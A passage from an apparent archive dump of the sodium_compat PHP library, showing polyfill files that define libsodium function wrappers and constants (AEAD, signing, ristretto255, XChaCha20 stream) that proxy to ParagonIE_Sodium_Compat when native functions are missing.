ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $public_key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $public_key) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $length * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream( $length, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { return ParagonIE_Sodium_Compat::hex2bin($string, $ignore); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::memcmp($string1, $string2); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $string * @return void * @throws SodiumException * @throws TypeError * * @psalm-suppress ReferenceConstraintViolation */ function sodium_memzero( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::memzero($string); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_pad( #[\SensitiveParameter] $unpadded, $block_size ) { return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_unpad( #[\SensitiveParameter] $padded, $block_size ) { return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('sodium_randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int * @throws Exception */ function sodium_randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } php84compat.php 0000644 00000007110 15252503775 0007436 0 ustar 00 <?php require_once dirname(dirname(__FILE__)) . '/autoload.php'; /** * This file will monkey patch the pure-PHP implementation in place of the * PECL functions and constants, but only if they do not already exist. * * Thus, the functions or constants just proxy to the appropriate * ParagonIE_Sodium_Compat method or class constant, respectively. */ foreach (array( 'CRYPTO_AEAD_AESGIS128L_KEYBYTES', 'CRYPTO_AEAD_AESGIS128L_NSECBYTES', 'CRYPTO_AEAD_AESGIS128L_NPUBBYTES', 'CRYPTO_AEAD_AESGIS128L_ABYTES', 'CRYPTO_AEAD_AESGIS256_KEYBYTES', 'CRYPTO_AEAD_AESGIS256_NSECBYTES', 'CRYPTO_AEAD_AESGIS256_NPUBBYTES', 'CRYPTO_AEAD_AESGIS256_ABYTES', ) as $constant ) { if (!defined("SODIUM_$constant") && defined("ParagonIE_Sodium_Compat::$constant")) { define("SODIUM_$constant", constant("ParagonIE_Sodium_Compat::$constant")); } } if (!is_callable('sodium_crypto_aead_aegis128l_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aegis128l_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException */ function sodium_crypto_aead_aegis128l_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aegis128l_decrypt( $ciphertext, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_aegis128l_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aegis128l_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aegis128l_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aegis128l_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_aegis256_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aegis256_encrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException */ function sodium_crypto_aead_aegis256_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aegis256_decrypt( $ciphertext, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_aegis256_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aegis256_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aegis256_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aegis256_encrypt( $message, $additional_data, $nonce, $key ); } } ristretto255.php 0000644 00000017451 15252503775 0007573 0 ustar 00 <?php if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES')) { define( 'SODIUM_CRYPTO_CORE_RISTRETTO255_BYTES', ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_BYTES ); define('SODIUM_COMPAT_POLYFILLED_RISTRETTO255', true); } if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES')) { define( 'SODIUM_CRYPTO_CORE_RISTRETTO255_HASHBYTES', ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_HASHBYTES ); } if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES')) { define( 'SODIUM_CRYPTO_CORE_RISTRETTO255_SCALARBYTES', ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_SCALARBYTES ); } if (!defined('SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES')) { define( 'SODIUM_CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES', ParagonIE_Sodium_Compat::CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES ); } if (!defined('SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES')) { define( 'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES', ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES ); } if (!defined('SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES')) { define( 'SODIUM_CRYPTO_SCALARMULT_RISTRETTO255_BYTES', ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_RISTRETTO255_BYTES ); } if (!is_callable('sodium_crypto_core_ristretto255_add')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_add() * * @param string $p * @param string $q * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_add( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q ) { return ParagonIE_Sodium_Compat::ristretto255_add($p, $q, true); } } if (!is_callable('sodium_crypto_core_ristretto255_from_hash')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_from_hash() * * @param string $s * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_from_hash( #[\SensitiveParameter] $s ) { return ParagonIE_Sodium_Compat::ristretto255_from_hash($s, true); } } if (!is_callable('sodium_crypto_core_ristretto255_is_valid_point')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_is_valid_point() * * @param string $s * @return bool * @throws SodiumException */ function sodium_crypto_core_ristretto255_is_valid_point( #[\SensitiveParameter] $s ) { return ParagonIE_Sodium_Compat::ristretto255_is_valid_point($s, true); } } if (!is_callable('sodium_crypto_core_ristretto255_random')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_random() * * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_random() { return ParagonIE_Sodium_Compat::ristretto255_random(true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_add')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_add() * * @param string $x * @param string $y * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_add( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_add($x, $y, true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_complement')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_complement() * * @param string $s * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_complement( #[\SensitiveParameter] $s ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_complement($s, true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_invert')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_invert() * * @param string $p * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_invert( #[\SensitiveParameter] $p ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_invert($p, true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_mul')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_mul() * * @param string $x * @param string $y * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_mul( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_mul($x, $y, true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_negate')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_negate() * * @param string $s * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_negate( #[\SensitiveParameter] $s ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_negate($s, true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_random')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_random() * * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_random() { return ParagonIE_Sodium_Compat::ristretto255_scalar_random(true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_reduce')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_reduce() * * @param string $s * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_reduce( #[\SensitiveParameter] $s ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_reduce($s, true); } } if (!is_callable('sodium_crypto_core_ristretto255_scalar_sub')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_sub() * * @param string $x * @param string $y * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_scalar_sub( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y ) { return ParagonIE_Sodium_Compat::ristretto255_scalar_sub($x, $y, true); } } if (!is_callable('sodium_crypto_core_ristretto255_sub')) { /** * @see ParagonIE_Sodium_Compat::ristretto255_sub() * * @param string $p * @param string $q * @return string * @throws SodiumException */ function sodium_crypto_core_ristretto255_sub( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q ) { return ParagonIE_Sodium_Compat::ristretto255_sub($p, $q, true); } } if (!is_callable('sodium_crypto_scalarmult_ristretto255')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_ristretto255() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_ristretto255( #[\SensitiveParameter] $n, #[\SensitiveParameter] $p ) { return ParagonIE_Sodium_Compat::scalarmult_ristretto255($n, $p, true); } } if (!is_callable('sodium_crypto_scalarmult_ristretto255_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_ristretto255_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_ristretto255_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::scalarmult_ristretto255_base($n, true); } } namespaced.php 0000644 00000002501 15252503775 0007366 0 ustar 00 <?php require_once dirname(dirname(__FILE__)) . '/autoload.php'; if (PHP_VERSION_ID < 50300) { return; } /* * This file is just for convenience, to allow developers to reduce verbosity when * they add this project to their libraries. * * Replace this: * * $x = ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_encrypt(...$args); * * with this: * * use ParagonIE\Sodium\Compat; * * $x = Compat::crypto_aead_xchacha20poly1305_encrypt(...$args); */ spl_autoload_register(function ($class) { if ($class[0] === '\\') { $class = substr($class, 1); } $namespace = 'ParagonIE\\Sodium'; // Does the class use the namespace prefix? $len = strlen($namespace); if (strncmp($namespace, $class, $len) !== 0) { // no, move to the next registered autoloader return false; } // Get the relative class name $relative_class = substr($class, $len); // Replace the namespace prefix with the base directory, replace namespace // separators with directory separators in the relative class name, append // with .php $file = dirname(dirname(__FILE__)) . '/namespaced/' . str_replace('\\', '/', $relative_class) . '.php'; // if the file exists, require it if (file_exists($file)) { require_once $file; return true; } return false; }); stream-xchacha20.php 0000644 00000004033 15252503775 0010322 0 ustar 00 <?php if (!is_callable('sodium_crypto_stream_xchacha20')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20() * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xchacha20( $len, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xchacha20($len, $nonce, $key, true); } } if (!is_callable('sodium_crypto_stream_xchacha20_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_xchacha20_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_keygen(); } } if (!is_callable('sodium_crypto_stream_xchacha20_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xchacha20_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor($message, $nonce, $key, true); } } if (!is_callable('sodium_crypto_stream_xchacha20_xor_ic')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic() * @param string $message * @param string $nonce * @param int $counter * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xchacha20_xor_ic( #[\SensitiveParameter] $message, $nonce, $counter, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key, true); } } sodium_compat.php 0000644 00000065466 15252503775 0010154 0 ustar 00 <?php namespace Sodium; require_once dirname(dirname(__FILE__)) . '/autoload.php'; use ParagonIE_Sodium_Compat; /** * This file will monkey patch the pure-PHP implementation in place of the * PECL functions, but only if they do not already exist. * * Thus, the functions just proxy to the appropriate ParagonIE_Sodium_Compat * method. */ if (!is_callable('\\Sodium\\bin2hex')) { /** * @see ParagonIE_Sodium_Compat::bin2hex() * @param string $string * @return string * @throws \SodiumException * @throws \TypeError */ function bin2hex( #[\SensitiveParameter] $string ) { return ParagonIE_Sodium_Compat::bin2hex($string); } } if (!is_callable('\\Sodium\\compare')) { /** * @see ParagonIE_Sodium_Compat::compare() * @param string $a * @param string $b * @return int * @throws \SodiumException * @throws \TypeError */ function compare( #[\SensitiveParameter] $a, #[\SensitiveParameter] $b ) { return ParagonIE_Sodium_Compat::compare($a, $b); } } if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt() * @param string $message * @param string $assocData * @param string $nonce * @param string $key * @return string|bool */ function crypto_aead_aes256gcm_decrypt( $message, $assocData, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message, $assocData, $nonce, $key); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $assocData * @param string $nonce * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $assocData, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $assocData, $nonce, $key); } } if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $message * @param string $assocData * @param string $nonce * @param string $key * @return string|bool */ function crypto_aead_chacha20poly1305_decrypt( $message, $assocData, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message, $assocData, $nonce, $key); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $assocData * @param string $nonce * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $assocData, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message, $assocData, $nonce, $key); } } if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $assocData * @param string $nonce * @param string $key * @return string|bool */ function crypto_aead_chacha20poly1305_ietf_decrypt( $message, $assocData, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message, $assocData, $nonce, $key); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $assocData * @param string $nonce * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $assocData, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message, $assocData, $nonce, $key); } } if (!is_callable('\\Sodium\\crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('\\Sodium\\crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws \SodiumException * @throws \TypeError */ function crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('\\Sodium\\crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $kp * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $kp ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp); } } if (!is_callable('\\Sodium\\crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $sk * @param string $pk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $sk, $pk ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk, $pk); } } if (!is_callable('\\Sodium\\crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $message * @param string $nonce * @param string $kp * @return string|bool */ function crypto_box_open( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $kp ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($message, $nonce, $kp); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $keypair * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box_publickey( #[\SensitiveParameter] $keypair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair); } } if (!is_callable('\\Sodium\\crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $sk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $sk ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk); } } if (!is_callable('\\Sodium\\crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $publicKey * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box_seal( #[\SensitiveParameter] $message, $publicKey ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $publicKey); } } if (!is_callable('\\Sodium\\crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $kp * @return string|bool */ function crypto_box_seal_open( $message, #[\SensitiveParameter] $kp ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $kp); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $keypair * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_box_secretkey( #[\SensitiveParameter] $keypair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair); } } if (!is_callable('\\Sodium\\crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $outLen * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_generichash( $message, #[\SensitiveParameter] $key = null, $outLen = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $outLen); } } if (!is_callable('\\Sodium\\crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $ctx * @param int $outputLength * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_generichash_final( #[\SensitiveParameter] &$ctx, $outputLength = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } } if (!is_callable('\\Sodium\\crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $outLen * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_generichash_init( #[\SensitiveParameter] $key = null, $outLen = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outLen); } } if (!is_callable('\\Sodium\\crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $ctx * @param string $message * @return void * @throws \SodiumException * @throws \TypeError */ function crypto_generichash_update( #[\SensitiveParameter] &$ctx, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message); } } if (!is_callable('\\Sodium\\crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public, true ); } } if (!is_callable('\\Sodium\\crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_pwhash( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit); } } if (!is_callable('\\Sodium\\crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('\\Sodium\\crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws \SodiumException * @throws \TypeError */ function crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if 